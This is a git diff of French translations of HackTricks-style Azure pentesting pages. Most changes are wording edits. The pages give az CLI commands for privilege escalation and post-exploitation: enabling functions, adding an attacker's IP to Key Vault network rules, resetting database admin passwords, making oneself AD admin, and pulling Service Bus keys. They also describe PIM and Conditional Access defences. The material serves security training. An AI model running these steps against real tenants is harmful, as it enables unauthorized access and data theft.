Les valeurs des paramètres contiennent la **AccountKey** du compte de stockage stockant les données de l'application de fonction, permettant de contrôler ce compte de stockage.
|
||||
|
||||
- **Méthode FTP**
|
||||
|
||||
@@ -321,7 +321,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Cette autorisation permet de **activer des fonctions** qui pourraient être désactivées (ou de les désactiver).
|
||||
Cette permission permet de **activer des fonctions** qui pourraient être désactivées (ou de les désactiver).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -352,7 +352,7 @@ az functionapp identity assign \
|
||||
```
|
||||
### Débogage à distance
|
||||
|
||||
Il est également possible de se connecter pour déboguer une fonction Azure en cours d'exécution comme [**expliqué dans la documentation**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Cependant, par défaut, Azure désactivera cette option après 2 jours au cas où le développeur oublierait de ne pas laisser de configurations vulnérables.
|
||||
Il est également possible de se connecter pour déboguer une fonction Azure en cours d'exécution comme [**expliqué dans la documentation**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Cependant, par défaut, Azure désactivera cette option après 2 jours au cas où le développeur oublierait d'éviter de laisser des configurations vulnérables.
|
||||
|
||||
Il est possible de vérifier si une fonction a le débogage activé avec :
|
||||
```bash
|
||||
|
||||
@@ -29,4 +29,14 @@ az keyvault set-policy \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
### Modifier les restrictions réseau
|
||||
|
||||
Il se peut que vous ayez suffisamment de permissions pour accéder à des données sensibles (comme la valeur d'un secret) mais que vous ne puissiez pas y accéder car le key vault est restreint à un réseau spécifique. Si vous avez la permission de modifier les restrictions réseau, vous pouvez ajouter votre IP à la liste des IP autorisées.
|
||||
```bash
|
||||
# Get the current network restrictions
|
||||
az keyvault network-rule list --name <vault-name>
|
||||
|
||||
# Add your IP to the list
|
||||
az keyvault network-rule add --name <vault-name> --ip-address <your-ip>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -33,7 +33,7 @@ az rest \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
|
||||
Avec ces autorisations, vous pouvez déployer des workflows Logic App en utilisant des déploiements de fichiers ZIP. Ces autorisations permettent des actions telles que la lecture des détails de l'application, l'accès aux informations d'identification de publication, l'écriture de modifications et la liste des configurations de l'application. Avec les autorisations de démarrage, vous pouvez mettre à jour et déployer une nouvelle Logic App avec le contenu souhaité.
|
||||
Avec ces autorisations, vous pouvez déployer des workflows Logic App en utilisant des déploiements de fichiers ZIP. Ces autorisations permettent des actions telles que la lecture des détails de l'application, l'accès aux informations d'identification de publication, l'écriture de modifications et la liste des configurations d'application. Avec les autorisations de démarrage, vous pouvez mettre à jour et déployer une nouvelle Logic App avec le contenu souhaité.
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
|
||||
@@ -31,13 +31,13 @@ az mysql flexible-server update \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
De plus, il est nécessaire d'avoir l'accès public activé si vous souhaitez accéder depuis un point de terminaison non privé, pour l'activer :
|
||||
De plus, il est nécessaire d'avoir l'accès public activé si vous souhaitez accéder depuis un point de terminaison non privé. Pour l'activer :
|
||||
```bash
|
||||
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
|
||||
|
||||
Avec cette autorisation, vous pouvez configurer des administrateurs Azure Active Directory (AD) pour un serveur MySQL Flexible. Cela peut être exploité en se définissant soi-même ou un autre compte comme administrateur AD, accordant un contrôle administratif total sur le serveur MySQL. Il est important que le flexible-server ait des identités gérées assignées à un utilisateur à utiliser.
|
||||
Avec cette permission, vous pouvez configurer des administrateurs Azure Active Directory (AD) pour un serveur MySQL Flexible. Cela peut être exploité en se définissant soi-même ou en définissant un autre compte comme administrateur AD, accordant un contrôle administratif total sur le serveur MySQL. Il est important que le flexible-server ait des identités gérées assignées à un utilisateur à utiliser.
|
||||
```bash
|
||||
az mysql flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
|
||||
@@ -31,7 +31,7 @@ az postgres flexible-server update \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
De plus, il est nécessaire d'activer l'accès public si vous souhaitez accéder à partir d'un point de terminaison non privé, pour l'activer :
|
||||
De plus, il est nécessaire d'avoir l'accès public activé si vous souhaitez accéder depuis un point de terminaison non privé, pour l'activer :
|
||||
```bash
|
||||
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
|
||||
@@ -83,7 +83,7 @@ print("----------------------------")
|
||||
```
|
||||
### Recevoir des messages. Action : `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
Vous pouvez récupérer le PrimaryConnectionString, qui sert de credential pour le namespace Service Bus. En utilisant cette chaîne de connexion, vous pouvez recevoir des messages de n'importe quelle file d'attente ou abonnement au sein du namespace, permettant l'accès à des données potentiellement sensibles ou critiques, facilitant l'exfiltration de données, ou interférant avec le traitement des messages et les flux de travail des applications.
|
||||
Vous pouvez récupérer le PrimaryConnectionString, qui sert de credential pour le namespace Service Bus. En utilisant cette chaîne de connexion, vous pouvez recevoir des messages de n'importe quelle file d'attente ou abonnement au sein du namespace, permettant l'accès à des données potentiellement sensibles ou critiques, facilitant l'exfiltration de données ou interférant avec le traitement des messages et les flux de travail des applications.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
|
||||
@@ -26,7 +26,7 @@ az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/write`
|
||||
|
||||
Un principal avec cette permission pourra créer ou mettre à jour un compte de stockage existant en mettant à jour n'importe quel paramètre comme les règles de réseau ou les politiques.
|
||||
Un principal avec cette autorisation pourra créer ou mettre à jour un compte de stockage existant en mettant à jour n'importe quel paramètre comme les règles réseau ou les politiques.
|
||||
```bash
|
||||
# e.g. set default action to allow so network restrictions are avoided
|
||||
az storage account update --name <acc-name> --default-action Allow
|
||||
@@ -41,7 +41,7 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
|
||||
La première permission permet de **modifier les politiques d'immuabilité** dans les conteneurs et la seconde de les supprimer.
|
||||
|
||||
> [!NOTE]
|
||||
> Notez que si une politique d'immuabilité est en état de verrouillage, vous ne pouvez ni l'un ni l'autre.
|
||||
> Notez que si une politique d'immuabilité est en état de verrouillage, vous ne pouvez pas faire l'un ou l'autre.
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
|
||||
@@ -1072,28 +1072,28 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Escalade de Privilèges Entra ID
|
||||
## Escalade de privilèges Entra ID
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Escalade de Privilèges Azure
|
||||
## Escalade de privilèges Azure
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Mécanismes Défensifs
|
||||
## Mécanismes de défense
|
||||
|
||||
### Gestion des Identités Privilégiées (PIM)
|
||||
### Gestion des identités privilégiées (PIM)
|
||||
|
||||
La Gestion des Identités Privilégiées (PIM) dans Azure aide à **prévenir l'attribution excessive de privilèges** aux utilisateurs de manière inutile.
|
||||
La Gestion des identités privilégiées (PIM) dans Azure aide à **prévenir l'attribution de privilèges excessifs** aux utilisateurs de manière inutile.
|
||||
|
||||
L'une des principales fonctionnalités fournies par PIM est qu'elle permet de ne pas attribuer de rôles à des principaux qui sont constamment actifs, mais de les rendre **éligibles pour une période de temps (par exemple, 6 mois)**. Ensuite, chaque fois que l'utilisateur souhaite activer ce rôle, il doit en faire la demande en indiquant le temps dont il a besoin pour le privilège (par exemple, 3 heures). Ensuite, un **admin doit approuver** la demande.\
|
||||
L'une des principales fonctionnalités fournies par PIM est qu'elle permet de ne pas attribuer de rôles à des principaux qui sont constamment actifs, mais de les rendre **éligibles pour une période de temps (par exemple, 6 mois)**. Ensuite, chaque fois que l'utilisateur souhaite activer ce rôle, il doit en faire la demande en indiquant le temps pendant lequel il a besoin du privilège (par exemple, 3 heures). Ensuite, un **administrateur doit approuver** la demande.\
|
||||
Notez que l'utilisateur pourra également demander à **prolonger** le temps.
|
||||
|
||||
De plus, **PIM envoie des emails** chaque fois qu'un rôle privilégié est attribué à quelqu'un.
|
||||
De plus, **PIM envoie des e-mails** chaque fois qu'un rôle privilégié est attribué à quelqu'un.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -1101,14 +1101,14 @@ Lorsque PIM est activé, il est possible de configurer chaque rôle avec certain
|
||||
|
||||
- Durée maximale (heures) d'activation
|
||||
- Exiger MFA lors de l'activation
|
||||
- Exiger un contexte d'authentification d'Accès Conditionnel
|
||||
- Exiger un contexte d'authentification d'accès conditionnel
|
||||
- Exiger une justification lors de l'activation
|
||||
- Exiger des informations de ticket lors de l'activation
|
||||
- Exiger des informations sur le ticket lors de l'activation
|
||||
- Exiger une approbation pour activer
|
||||
- Temps maximum pour expirer les attributions éligibles
|
||||
- Beaucoup plus de configurations sur quand et qui envoyer des notifications lorsque certaines actions se produisent avec ce rôle
|
||||
|
||||
### Politiques d'Accès Conditionnel
|
||||
### Politiques d'accès conditionnel
|
||||
|
||||
Vérifiez :
|
||||
|
||||
@@ -1116,23 +1116,23 @@ Vérifiez :
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Protection des Identités Entra
|
||||
### Protection des identités Entra
|
||||
|
||||
La Protection des Identités Entra est un service de sécurité qui permet de **détecter quand un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion.
|
||||
La Protection des identités Entra est un service de sécurité qui permet de **détecter lorsqu'un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion.
|
||||
|
||||
Il permet à l'admin de le configurer pour **bloquer** les tentatives lorsque le risque est "Faible et au-dessus", "Moyen et au-dessus" ou "Élevé". Bien que, par défaut, il soit complètement **désactivé** :
|
||||
Il permet à l'administrateur de le configurer pour **bloquer** les tentatives lorsque le risque est "Faible et au-dessus", "Moyen et au-dessus" ou "Élevé". Cependant, par défaut, il est complètement **désactivé** :
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques d'Accès Conditionnel où il est possible de configurer les mêmes options.
|
||||
> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques d'accès conditionnel où il est possible de configurer les mêmes options.
|
||||
|
||||
### Protection des Mots de Passe Entra
|
||||
### Protection par mot de passe Entra
|
||||
|
||||
La Protection des Mots de Passe Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsque plusieurs tentatives de connexion infructueuses se produisent**.\
|
||||
La Protection par mot de passe Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsque plusieurs tentatives de connexion infructueuses se produisent**.\
|
||||
Elle permet également de **interdire une liste de mots de passe personnalisée** que vous devez fournir.
|
||||
|
||||
Elle peut être **appliquée à la fois** au niveau cloud et sur Active Directory sur site.
|
||||
Elle peut être **appliquée à la fois** au niveau du cloud et sur Active Directory sur site.
|
||||
|
||||
Le mode par défaut est **Audit** :
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** est un terminal interactif, authentifié et accessible via un navigateur, conçu pour gérer les ressources Azure, offrant la flexibilité de travailler avec Bash ou PowerShell. Il fonctionne sur un hôte temporaire par session qui expire après 20 minutes d'inactivité, tout en conservant les fichiers dans l'emplacement $HOME à l'aide d'un partage de fichiers de 5 Go. Cloud Shell peut être accessible par plusieurs points, y compris le portail Azure, shell.azure.com, la documentation Azure CLI et PowerShell, l'application mobile Azure, et l'extension Azure Account de Visual Studio Code.
|
||||
**Azure Cloud Shell** est un terminal interactif, authentifié et accessible via un navigateur, conçu pour gérer les ressources Azure, offrant la flexibilité de travailler avec Bash ou PowerShell. Il fonctionne sur un hôte temporaire, par session, qui expire après 20 minutes d'inactivité, tout en conservant les fichiers dans l'emplacement $HOME à l'aide d'un partage de fichiers de 5 Go. Cloud Shell peut être accessible par plusieurs points, y compris le portail Azure, shell.azure.com, la documentation Azure CLI et PowerShell, l'application mobile Azure, et l'extension Azure Account de Visual Studio Code.
|
||||
|
||||
Il n'y a pas de permissions assignées à ce service, donc il n'y a pas de techniques d'escalade de privilèges. De plus, il n'y a pas de type d'énumération.
|
||||
|
||||
@@ -12,7 +12,7 @@ Il n'y a pas de permissions assignées à ce service, donc il n'y a pas de techn
|
||||
|
||||
**Environment**: Azure Cloud Shell fournit un environnement sécurisé en fonctionnant sur Azure Linux, la distribution Linux propre à Microsoft conçue pour l'infrastructure cloud. Tous les paquets inclus dans le dépôt Azure Linux sont compilés en interne par Microsoft pour se protéger contre les attaques de la chaîne d'approvisionnement.
|
||||
**Preinstalled Tools**: Cloud Shell inclut un ensemble complet d'outils préinstallés tels qu'Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, et des éditeurs de texte comme vim, nano, et emacs. Ces outils sont prêts à l'emploi. Pour lister les paquets et modules installés, vous pouvez utiliser "Get-Module -ListAvailable", "tdnf list" et "pip3 list".
|
||||
**$HOME persistence**: Lors du premier démarrage d'Azure Cloud Shell, vous pouvez l'utiliser avec ou sans un compte de stockage attaché. Choisir de ne pas attacher de stockage crée une session éphémère où les fichiers sont supprimés à la fin de la session. Pour conserver des fichiers entre les sessions, montez un compte de stockage, qui s'attache automatiquement comme **$HOME\clouddrive**, avec votre répertoire **$HOME** sauvegardé sous forme de fichier **.img** dans Azure File Share. Cependant, les fichiers en dehors de $HOME et les états de machine ne sont pas conservés. Pour stocker en toute sécurité des secrets comme des clés SSH, utilisez Azure Key Vault.
|
||||
**$HOME persistence**: Lors du premier démarrage d'Azure Cloud Shell, vous pouvez l'utiliser avec ou sans un compte de stockage attaché. Choisir de ne pas attacher de stockage crée une session éphémère où les fichiers sont supprimés à la fin de la session. Pour conserver des fichiers entre les sessions, montez un compte de stockage, qui s'attache automatiquement en tant que **$HOME\clouddrive**, avec votre répertoire **$HOME** sauvegardé en tant que fichier **.img** dans Azure File Share. Cependant, les fichiers en dehors de $HOME et les états de machine ne sont pas conservés. Pour stocker en toute sécurité des secrets comme des clés SSH, utilisez Azure Key Vault.
|
||||
**Azure drive (Azure:)**: PowerShell dans Azure Cloud Shell inclut le lecteur Azure (Azure:), qui permet une navigation facile des ressources Azure comme Compute, Network, et Storage en utilisant des commandes similaires à celles du système de fichiers. Passez au lecteur Azure avec cd Azure: et revenez à votre répertoire personnel avec cd ~. Vous pouvez toujours utiliser les cmdlets Azure PowerShell pour gérer les ressources depuis n'importe quel lecteur.
|
||||
**Custom Tool Installation**: Les utilisateurs qui configurent Cloud Shell avec un compte de stockage peuvent installer des outils supplémentaires qui ne nécessitent pas de permissions root. Cette fonctionnalité permet une personnalisation supplémentaire de l'environnement Cloud Shell, permettant aux utilisateurs d'adapter leur configuration à leurs besoins spécifiques.
|
||||
|
||||
|
||||
@@ -309,7 +309,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
||||
## À faire
|
||||
|
||||
* Le reste de la DB ici, tables, cassandra, gremlin...
|
||||
* Jetez un œil à la post exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" et aux définitions de rôle car ici il pourrait y avoir une privesc
|
||||
* Jetez un œil à la post exploitation "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" et aux définitions de rôle car ici il pourrait y avoir une escalade de privilèges
|
||||
* Jetez un œil aux restaurations
|
||||
|
||||
|
||||
|
||||
@@ -12,9 +12,9 @@
|
||||
### Différents Plans
|
||||
|
||||
- **Flex Consumption Plan** : Offre un **scalabilité dynamique et basée sur les événements** avec un tarif à l'utilisation, ajoutant ou supprimant des instances de fonction en fonction de la demande. Il prend en charge **le réseau virtuel** et **les instances pré-provisionnées** pour réduire les démarrages à froid, ce qui le rend adapté aux **charges de travail variables** qui ne nécessitent pas de support de conteneur.
|
||||
- **Traditional Consumption Plan** : L'option sans serveur par défaut, où vous **ne payez que pour les ressources de calcul lorsque les fonctions s'exécutent**. Il s'adapte automatiquement en fonction des événements entrants et inclut des **optimisations de démarrage à froid**, mais ne prend pas en charge les déploiements de conteneurs. Idéal pour les **charges de travail intermittentes** nécessitant une mise à l'échelle automatique.
|
||||
- **Traditional Consumption Plan** : L'option sans serveur par défaut, où vous **ne payez que pour les ressources de calcul lorsque les fonctions s'exécutent**. Il s'adapte automatiquement en fonction des événements entrants et inclut des **optimisations de démarrage à froid**, mais ne prend pas en charge les déploiements de conteneurs. Idéal pour les **charges de travail intermittentes** nécessitant une scalabilité automatique.
|
||||
- **Premium Plan** : Conçu pour des **performances constantes**, avec des **travailleurs préchauffés** pour éliminer les démarrages à froid. Il offre **des temps d'exécution prolongés, un réseau virtuel**, et prend en charge **des images Linux personnalisées**, ce qui le rend parfait pour des **applications critiques** nécessitant des performances élevées et des fonctionnalités avancées.
|
||||
- **Dedicated Plan** : Fonctionne sur des machines virtuelles dédiées avec une **facturation prévisible** et prend en charge la mise à l'échelle manuelle ou automatique. Il permet d'exécuter plusieurs applications sur le même plan, fournit **une isolation de calcul**, et assure un **accès réseau sécurisé** via des environnements de service d'application, ce qui le rend idéal pour des **applications de longue durée** nécessitant une allocation de ressources constante.
|
||||
- **Dedicated Plan** : Fonctionne sur des machines virtuelles dédiées avec une **facturation prévisible** et prend en charge la scalabilité manuelle ou automatique. Il permet d'exécuter plusieurs applications sur le même plan, fournit **une isolation de calcul**, et garantit un **accès réseau sécurisé** via des environnements de service d'application, ce qui le rend idéal pour des **applications de longue durée** nécessitant une allocation de ressources constante.
|
||||
- **Container Apps** : Permet de déployer des **applications de fonction conteneurisées** dans un environnement géré, aux côtés de microservices et d'APIs. Il prend en charge des bibliothèques personnalisées, la migration d'applications héritées, et le **traitement GPU**, éliminant la gestion des clusters Kubernetes. Idéal pour des **applications conteneurisées évolutives basées sur des événements**.
|
||||
|
||||
### **Buckets de stockage**
|
||||
@@ -32,7 +32,7 @@ Il est également possible de trouver les **clés maître et fonctions** stocké
|
||||
|
||||
Notez que les fonctions permettent également de stocker le code dans un emplacement distant en indiquant simplement l'URL.
|
||||
|
||||
### Réseautique
|
||||
### Réseautage
|
||||
|
||||
En utilisant un déclencheur HTTP :
|
||||
|
||||
@@ -56,20 +56,20 @@ Dans une fonction **Windows** utilisant NodeJS, le code était situé dans **`C:
|
||||
|
||||
### **Identités gérées et métadonnées**
|
||||
|
||||
Tout comme [**VMs**](vms/index.html), les fonctions peuvent avoir des **Identités Gérées** de 2 types : assignées par le système et assignées par l'utilisateur.
|
||||
Tout comme les [**VMs**](vms/index.html), les fonctions peuvent avoir des **Identités Gérées** de 2 types : Assignée au système et Assignée à l'utilisateur.
|
||||
|
||||
L'identité **assignée par le système** sera une identité gérée que **seule la fonction** qui l'a assignée pourra utiliser, tandis que les identités gérées **assignées par l'utilisateur** sont des identités gérées que **tout autre service Azure pourra utiliser**.
|
||||
L'identité **assignée au système** sera une identité gérée que **seule la fonction** qui l'a assignée pourra utiliser, tandis que les identités gérées **assignées à l'utilisateur** sont des identités gérées que **tout autre service Azure pourra utiliser**.
|
||||
|
||||
> [!NOTE]
|
||||
> Tout comme dans [**VMs**](vms/index.html), les fonctions peuvent avoir **1 identité gérée assignée par le système** et **plusieurs identités assignées par l'utilisateur**, il est donc toujours important d'essayer de trouver toutes celles-ci si vous compromettez la fonction car vous pourriez être en mesure d'escalader les privilèges vers plusieurs identités gérées à partir d'une seule fonction.
|
||||
> Tout comme dans les [**VMs**](vms/index.html), les fonctions peuvent avoir **1 identité gérée assignée au système** et **plusieurs assignées à l'utilisateur**, il est donc toujours important d'essayer de trouver toutes celles-ci si vous compromettez la fonction car vous pourriez être en mesure d'escalader les privilèges vers plusieurs identités gérées à partir d'une seule fonction.
|
||||
>
|
||||
> Si aucune identité gérée par le système n'est utilisée mais qu'une ou plusieurs identités gérées par l'utilisateur sont attachées à une fonction, par défaut, vous ne pourrez pas obtenir de jeton.
|
||||
> Si aucune identité gérée au système n'est utilisée mais qu'une ou plusieurs identités gérées par l'utilisateur sont attachées à une fonction, par défaut, vous ne pourrez pas obtenir de jeton.
|
||||
|
||||
Il est possible d'utiliser les [**scripts PEASS**](https://github.com/peass-ng/PEASS-ng) pour obtenir des jetons de l'identité gérée par défaut à partir du point de terminaison des métadonnées. Ou vous pourriez les obtenir **manuellement** comme expliqué dans :
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
Notez que vous devez trouver un moyen de **vérifier toutes les identités gérées qu'une fonction a attachées** car si vous ne l'indiquez pas, le point de terminaison des métadonnées **n'utilisera que la par défaut** (voir le lien précédent pour plus d'infos).
|
||||
Notez que vous devez trouver un moyen de **vérifier toutes les identités gérées qu'une fonction a attachées** car si vous ne l'indiquez pas, le point de terminaison des métadonnées **n'utilisera que la par défaut** (voir le lien précédent pour plus d'informations).
|
||||
|
||||
## Clés d'accès
|
||||
|
||||
@@ -87,7 +87,7 @@ Lors de la création d'un point de terminaison à l'intérieur d'une fonction ut
|
||||
- **Clés de fonction :** Les clés de fonction peuvent être soit par défaut soit définies par l'utilisateur et sont conçues pour accorder un accès exclusivement à **des points de terminaison de fonction spécifiques** au sein d'une Function App permettant un accès plus granulaire sur les points de terminaison.
|
||||
- **Clés d'hôte :** Les clés d'hôte, qui peuvent également être par défaut ou définies par l'utilisateur, fournissent un accès à **tous les points de terminaison de fonction au sein d'une Function App avec un niveau d'accès FUNCTION**.
|
||||
- **Clé maître :** La clé maître (`_master`) sert de clé administrative qui offre des permissions élevées, y compris l'accès à tous les points de terminaison de fonction (niveau d'accès ADMIN inclus). Cette **clé ne peut pas être révoquée.**
|
||||
- **Clés système :** Les clés système sont **gérées par des extensions spécifiques** et sont nécessaires pour accéder aux points de terminaison webhook utilisés par des composants internes. Des exemples incluent le déclencheur Event Grid et les Durable Functions, qui utilisent des clés système pour interagir en toute sécurité avec leurs API respectives.
|
||||
- **Clés système :** Les clés système sont **gérées par des extensions spécifiques** et sont nécessaires pour accéder aux points de terminaison webhook utilisés par des composants internes. Des exemples incluent le déclencheur Event Grid et les Durable Functions, qui utilisent des clés système pour interagir de manière sécurisée avec leurs API respectives.
|
||||
|
||||
> [!TIP]
|
||||
> Exemple pour accéder à un point de terminaison API de fonction en utilisant une clé :
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Déploiements basés sur Github
|
||||
|
||||
Lorsqu'une fonction est générée à partir d'un dépôt Github, la console web Azure permet de **créer automatiquement un workflow Github dans un dépôt spécifique** afin que chaque fois que ce dépôt est mis à jour, le code de la fonction soit mis à jour. En fait, le yaml de l'action Github pour une fonction Python ressemble à ceci :
|
||||
Lorsqu'une fonction est générée à partir d'un dépôt Github, la console web Azure permet de **créer automatiquement un Workflow Github dans un dépôt spécifique** afin que chaque fois que ce dépôt est mis à jour, le code de la fonction soit mis à jour. En fait, le fichier yaml de l'action Github pour une fonction Python ressemble à ceci :
|
||||
|
||||
<details>
|
||||
|
||||
@@ -199,7 +199,7 @@ De plus, une **Managed Identity** est également créée afin que l'Action Githu
|
||||
|
||||
### Déploiements Basés sur des Conteneurs
|
||||
|
||||
Tous les plans ne permettent pas de déployer des conteneurs, mais pour ceux qui le font, la configuration contiendra l'URL du conteneur. Dans l'API, le paramètre **`linuxFxVersion`** aura quelque chose comme : `DOCKER|mcr.microsoft.com/...`, tandis que dans la console web, la configuration affichera les **paramètres d'image**.
|
||||
Tous les plans ne permettent pas de déployer des conteneurs, mais pour ceux qui le font, la configuration contiendra l'URL du conteneur. Dans l'API, le paramètre **`linuxFxVersion`** aura quelque chose comme : `DOCKER|mcr.microsoft.com/...`, tandis que dans la console web, la configuration affichera les **image settings**.
|
||||
|
||||
De plus, **aucun code source ne sera stocké dans le compte de stockage** lié à la fonction car cela n'est pas nécessaire.
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
Azure Logic Apps est un service basé sur le cloud fourni par Microsoft Azure qui permet aux développeurs de **créer et d'exécuter des workflows qui intègrent divers services**, sources de données et applications. Ces workflows sont conçus pour **automatiser les processus métier**, orchestrer des tâches et effectuer des intégrations de données à travers différentes plateformes.
|
||||
Azure Logic Apps est un service basé sur le cloud fourni par Microsoft Azure qui permet aux développeurs de **créer et d'exécuter des workflows intégrant divers services**, sources de données et applications. Ces workflows sont conçus pour **automatiser les processus métier**, orchestrer des tâches et effectuer des intégrations de données à travers différentes plateformes.
|
||||
|
||||
Logic Apps fournit un concepteur visuel pour créer des workflows avec une **large gamme de connecteurs préconçus**, ce qui facilite la connexion et l'interaction avec divers services, tels qu'Office 365, Dynamics CRM, Salesforce, et bien d'autres. Vous pouvez également créer des connecteurs personnalisés pour vos besoins spécifiques.
|
||||
|
||||
@@ -13,9 +13,9 @@ Logic Apps fournit un concepteur visuel pour créer des workflows avec une **lar
|
||||
- **Automatisation des pipelines de données** : Logic Apps peut automatiser **les processus de transfert et de transformation des données** en combinaison avec Azure Data Factory. Cela est utile pour créer des pipelines de données évolutifs et fiables qui déplacent et transforment des données entre divers magasins de données, comme Azure SQL Database et Azure Blob Storage, aidant ainsi dans les opérations d'analytique et d'intelligence d'affaires.
|
||||
- **Intégration avec Azure Functions** : Logic Apps peut fonctionner aux côtés d'Azure Functions pour développer **des applications sophistiquées, déclenchées par des événements qui s'adaptent selon les besoins** et s'intègrent parfaitement avec d'autres services Azure. Un exemple d'utilisation est d'utiliser une Logic App pour déclencher une Azure Function en réponse à certains événements, tels que des changements dans un compte de stockage Azure, permettant un traitement dynamique des données.
|
||||
|
||||
### Visualiser une LogicAPP
|
||||
### Visualiser un LogicAPP
|
||||
|
||||
Il est possible de visualiser une LogicApp avec des graphiques :
|
||||
Il est possible de visualiser un LogicApp avec des graphiques :
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -38,7 +38,7 @@ Il existe plusieurs options d'hébergement :
|
||||
- **Multi-tenant** : fournit des ressources de calcul partagées, fonctionne dans le cloud public et suit un modèle de tarification à la consommation. Cela est idéal pour des charges de travail légères et rentables.
|
||||
* **Standard**
|
||||
- **Workflow Service Plan** : ressources de calcul dédiées avec intégration VNET pour le réseau et facturation par instance de plan de service de flux de travail. Il convient aux charges de travail plus exigeantes nécessitant un plus grand contrôle.
|
||||
- **App Service Environment V3** ressources de calcul dédiées avec isolation complète et évolutivité. Il s'intègre également à VNET pour le réseau et utilise un modèle de tarification basé sur les instances de service d'application au sein de l'environnement. Cela est idéal pour les applications à l'échelle de l'entreprise nécessitant une haute isolation.
|
||||
- **App Service Environment V3** ressources de calcul dédiées avec isolation complète et évolutivité. Il s'intègre également avec VNET pour le réseau et utilise un modèle de tarification basé sur les instances de service d'application au sein de l'environnement. Cela est idéal pour des applications à l'échelle d'entreprise nécessitant une haute isolation.
|
||||
- **Hybride** conçu pour le traitement local et le support multi-cloud. Il permet des ressources de calcul gérées par le client avec accès au réseau local et utilise l'autoscaling basé sur les événements Kubernetes (KEDA).
|
||||
|
||||
### Énumération
|
||||
@@ -140,10 +140,10 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
|
||||
|
||||
### Comptes d'intégration
|
||||
